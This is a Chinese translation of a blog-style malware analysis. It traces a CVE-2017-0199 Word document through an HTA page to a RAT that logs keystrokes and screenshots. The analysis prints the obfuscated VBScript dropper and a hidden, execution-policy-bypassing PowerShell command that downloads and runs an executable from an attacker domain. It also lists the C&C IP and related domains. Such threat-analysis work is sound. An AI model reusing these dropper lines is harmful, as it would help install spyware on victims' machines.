由prison翻译整理,首发i春秋
 
引言;
 
这是一次来自遥远国度的APT攻击分析样本范例,本文作者将带领你体验二进制漏洞分析的乐趣。
 
过程非常详细,附带所需样本,适合新手。难度三颗星。
目标文件:
我发现这里存在 CVE-2017-0199,这样就让我们找payload变得简单了。

b = '00000068007400740070003a002f002f006d006f007a0069006c006c00610074006d002e0063006f006d002f006c006f006100640069006e0067002e00680074006d006c00000000'
  
"".join("{0}".format((i+j).replace('00','').decode('hex')) for i, j in zip(b[::2], b[1::2]))
  
>> 'http://mozillatm.com/loading.html'
这个漏洞将会交付一个恶意的HTA文件并执行它。HTA意味着IE,所以VBScript将会很好地执行。
一旦我们访问了这个页面,我们就可以看到这个被混淆的的VBScript,它会执行PowerShell并将恶意软件投放到系统中。

你可以从这里参考
这个环节开始变得有意思起来了。
fuNctioN gJSoYXXAVqwD()
  
    DIM taCXnLuJDFFL
  
    taCXnLuJDFFL = cHRW(34)
     CReaTEoBJecT(HLJlzxWsFMxQ(CGUgZBJuvRsW("V1RzVENUUlRJVHBUVFQuVHNUaFRlVExUTFQ="))).expANdEnVIRoNMEnTSTrInGS(HLJlzxWsFMxQ(CGUgZBJuvRsW("JVpzWnlac1p0WmVaTVpSWm9ab1pUWiVa")))
     HLJlzxWsFMxQ(CGUgZBJuvRsW("XGtTa3lrU2tUa0VrTWszazJrXGtXa2lrTmtEa29rV2tTa3Brb2tXa0Vrcmtza0hrRWtMa0xrXGt2azFrLmswa1xrcGtva3drZWtSa3NraGtFa0xrTGsua2VreGtFaw=="))
     ChRw(34)
  
    CreAtEOBJeCt(HLJlzxWsFMxQ(CGUgZBJuvRsW("d0FzQWNBckFJQXBBdEEuQXNBaEFFQWxBbEE="))).run taCXnLuJDFFL
     " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
  
eND fUnCtioN

[/table]

但是如果先不管被混淆的代码,直接调试代码的话,最终”taCXnLuJDFFL”这个变量将会被包含进去。
""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""

[table=98%]

伪代码可以这样写:

Set oShell = WScript.CreateObject ("WSCript.shell")
oShell.run  ""C:\Windows\SySTEM32\WiNDoWSpoWErsHELL\v1.0\poweRshELL.exE""  & " POwerShELL.exe -EXECUtIOnPOlIcY BYPaSS -noPROfiLE -WInDoWStYlE HiDDen -EnCOdedCommAnD IAAoAG4ARQB3AC0AbwBCAEoARQBDAHQAIABTAHkAcwBUAEUATQAuAE4AZQBUAC4AVwBlAGIAYwBMAGkAZQBOAFQAKQAuAEQAbwB3AG4ATABPAEEARABGAGkATABFACgAIAAdIGgAdAB0AHAAOgAvAC8AbQBvAHoAaQBsAGwAYQB0AG0ALgBjAG8AbQAvAGwAbwBhAGQAaQBuAGcALgBlAHgAZQAdICAALAAgAB0gJABFAG4AdgA6AFQATQBQAFwAQwBoAHIAbwBtAGUAdABtAC4AZQB4AGUAHSAgACkAIAA7ACAAcwBUAEEAcgBUACAAHSAkAEUAbgB2ADoAdABNAFAAXABDAGgAcgBvAG0AZQB0AG0ALgBlAHgAZQAdIA== " , 0
一旦我们破解了为powershell提供的编码命令,我们就能看到被下载的恶意软件。
这是一个PowerShell一行程序将恶意软件从http://mozillatm.com/loading.exe并将其保存到% TMP%文件夹类似于“Chrometm.exe”
这个恶意软件是用可视化的Basic语言编写的,并且高度混淆。我把这个样本提交给了Malwr.com,你可以在这里查看完整的分析。
攻击者似乎使用的是RAT。

在运行之后,它会将自己的程序“mozillatm.exe”复制到“program files”文件夹中。我们可以自行进入检查下。另一个exe是“Mozillatms.exe “在”system32“文件夹中,注意这个’s’,看起来像是一种备份。

Program Files中复制的文件:

然而机智如我注意到一些不一样的地方。在64位机器中恶意软件将会把它自己复制到“C:\windows\SysWow64” 文件夹中,那么这个自动生成的秘钥就不会在64位下的机器中运行,这说明这个恶意软件的备份在64位下的机器中将会失效。

“Mozillatm.exe”将是我们的恶意可执行文件。

该恶意软件将与C&C通信,IP地址为162.248.92.28:131106。

这个恶意软件将会存储截屏、按键记录并将它们发送到C&C服务器。它们位于%USERPROFILE%\AppData\Roaming\Mozillatms

按键日志可以在“logs”文件夹中找到。

屏幕快照数据使用压缩算法进行二次压缩,但是可以轻松地解压。

我编写了一个简单的工具来使用压缩算法执行压缩和解压。

/*
 * Title: Deflate Tool
 * Purpose: Compress and decompress files using the Deflate algorithm
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: [url]https://OsandaMalith.com[/url]
 */
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.IO.Compression;
 
namespace compress2
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[~] Deflate Tool - @OsandaMalith\n");
 
            if (args.Length != 3)
            {
                Console.WriteLine("Usage: {0} input.dat output.dat -c or -d", System.AppDomain.CurrentDomain.FriendlyName);
                System.Environment.Exit(-1);
            }
 
            DeflateStream deflate = null;
            FileStream sink = null;
            FileStream source = new FileStream(Environment.GetCommandLineArgs()[1], FileMode.Open);
 
            if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("d"))
            {
                deflate = new DeflateStream(source, CompressionMode.Decompress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
 
                byte[] buffer = new byte[source.Length];
                buffer = new byte[source.Length];
 
                deflate.Read(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else if (Environment.GetCommandLineArgs()[3].Substring(1, 1).Equals("c"))
            {
                deflate = new DeflateStream(source, CompressionMode.Compress);
                sink = new FileStream(Environment.GetCommandLineArgs()[2], FileMode.Create);
                byte[] buffer = new byte[source.Length];
                source.Read(buffer, 0, buffer.Length);
                deflate.Write(buffer, 0, buffer.Length);
                sink.Write(buffer, 0, buffer.Length);
                sink.Close();
            }
            else
            {
                Console.WriteLine("Enter an option -c compress or -d decompress");
                System.Environment.Exit(-1);
            }
 
            source.Close();
        
        }
    }
}

这是恶意软件的截图。

出于好奇,我查看了C&C IP地址162.248.92.28,发现使用了Squid代理。

但是,它使用HTTP身份验证。

通过使用谷歌搜索,我发现这些域名也是使用相同的恶意软件进行攻击的变种。

·         Bd2bd.com
·         Pc-net.org
·         Bd-pc.com
·         Registerbd.com
·         
附上我分析过的样本:
Filename: A0Jst6jAd7CYerrqFmwb4wqDLa5XHPW_May_2017.doc
SHA256: 273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674
https://virustotal.com/en/file/273b0fc627daefd0fbae209e5fa1ea619bfb177a1b0ae2d55a606cf2c6ec2674/analysis/1496541543/

带你走进二进制-一次APT攻击分析的更多相关文章

  1. 初探APT攻击

    首发于i春秋 作者:joe     所属团队:Arctic Shell 团队博客地址:https://www.cnblogs.com/anbus/   0x1:关于APT的相关介绍:     APT是 ...

  2. APT攻击基础科普

    0x00 APT的历史起源背景 APT这个词汇最早起源于:2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名 ...

  3. 初探APT 攻击

    作者:joe       所属团队:Arctic Shell 本文编写参考: https://www.freebuf.com/vuls/175280.html https://www.freebuf. ...

  4. 从kill-chain的角度检测APT攻击

    前言 最近一直在考虑如何结合kill chain检测APT攻击.出发点是因为尽管APT是一种特殊.高级攻击手段,但是它还是会具有攻击的common feature,只要可以把握住共同特征,就能进行检测 ...

  5. MYSQL(基本篇)——一篇文章带你走进MYSQL的奇妙世界

    MYSQL(基本篇)--一篇文章带你走进MYSQL的奇妙世界 MYSQL算是我们程序员必不可少的一份求职工具了 无论在什么岗位,我们都可以看到应聘要求上所书写的"精通MYSQL等数据库及优化 ...

  6. 小丁带你走进git的世界三-撤销修改

    一.撤销指令 git checkout还原工作区的功能 git reset  还原暂存区的功能 git clean  还没有被添加进暂存区的文件也就是git还没有跟踪的文件可以使用这个命令清除他们 g ...

  7. 小丁带你走进git的世界二-工作区暂存区分支

    小丁带你走进git的世界二-工作区暂存区分支 一.Git基本工作流程 1.初始化一个仓库 git  init git  clone git仓库分为两种情况: 第一种是在现有项目或目录下导入所有文件到 ...

  8. 小丁带你走进git世界一-git简单配置

    小丁带你走进git世界一-git简单配置 1.github的简单配置 配置提交代码的信息,例如是谁提交的代码之类的. git config  –global user.name BattleHeaer ...

  9. 水坑式攻击-APT攻击常见手段

    所谓“水坑攻击”,是指黑客通过分析被攻击者的网络活动规律,寻找被攻击者经常访问的网站的弱点,先攻下该网站并植入攻击代码,等待被攻击者来访时实施攻击. 水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客 ...

随机推荐

  1. 过河卒(NOIP2002)

    题目链接:过河卒 直接模拟?会T掉60分. 所以我们可以采用递推,怎么想到的? 因为卒子只能向下或向右走,所以走到一个点的方法数,等于走到它上面点的方法数加上走到它左边点的方法数,这样就可以地推了. ...

  2. 社区发现(Community Detection)算法(转)

    作者: peghoty 出处: http://blog.csdn.net/peghoty/article/details/9286905 社区发现(Community Detection)算法用来发现 ...

  3. 2019.01.21 bzoj3674: 可持久化并查集加强版(主席树+并查集)

    传送门 题意:维护可持久化并查集,支持在某个版本连边,回到某个版本,在某个版本 询问连通性. 思路: 我们用主席树维护并查集fafafa数组,由于要查询历史版本,因此不能够用路径压缩. 可以考虑另外一 ...

  4. 2018.11.06 NOIP训练 最大获利(profit)(01分数规划+最大权闭合子图)

    传送门 好题啊. ∑i<jpi,jK∗(200−K)>X\frac{\sum_{i<j}p_{i,j}}{K*(200-K)}>XK∗(200−K)∑i<j​pi,j​​ ...

  5. Linux 下移植QT(1)---tslib 1.4.0移植

    步骤1:下载工具包 如下图 链接在此,点我. 步骤2:将tslib文件放入Linux虚拟机中, 步骤3:解压源码 tar -xvf tslib-1.4.tar cd tslib-1.4 步骤4:执行a ...

  6. 定时调度系列之Quartz.Net详解(转)

    出处:https://www.cnblogs.com/yaopengfei/p/9216229.html 一. 背景 我们在日常开发中,可能你会遇到这样的需求:"每个月的3号给用户发信息,提 ...

  7. const修饰指针时应注意的问题

    1.指向常量的指针 顾名思义,一个指针指向const对象,则称它为指向常量的指针. ; int* ptr=&a; //错误 const int* ptr=&a; //必须用const来 ...

  8. Excel2007VBA数组和工作表及单元格的引用

    动态数组使用: https://zhidao.baidu.com/question/1432222709706721499.html 使用Redim动态数组即可. 1 2 3 4 5 6 7 8 Su ...

  9. DIV+CSS中标签ul ol li dl dt dd用法

    ul ol li dl dt dd都是DIV+CSS做网页长用的东西,相当于一棵树的树技,下面就了解一下这些东西的全体用法,本人用dd,dt,dd用得很少,懂得结合使用对做架构是很有好处的哦! DIV ...

  10. Linux上的TIME_WAIT和tcp_fin_timeout

    当Linux服务器的TIME_WAIT过多时,通常会想到去修改参数降低TIME_WAIT时长,以减少TIME_WAIT数量,但Linux并没有提供这样的接口,除非重新编译内核. Linux默认的TIM ...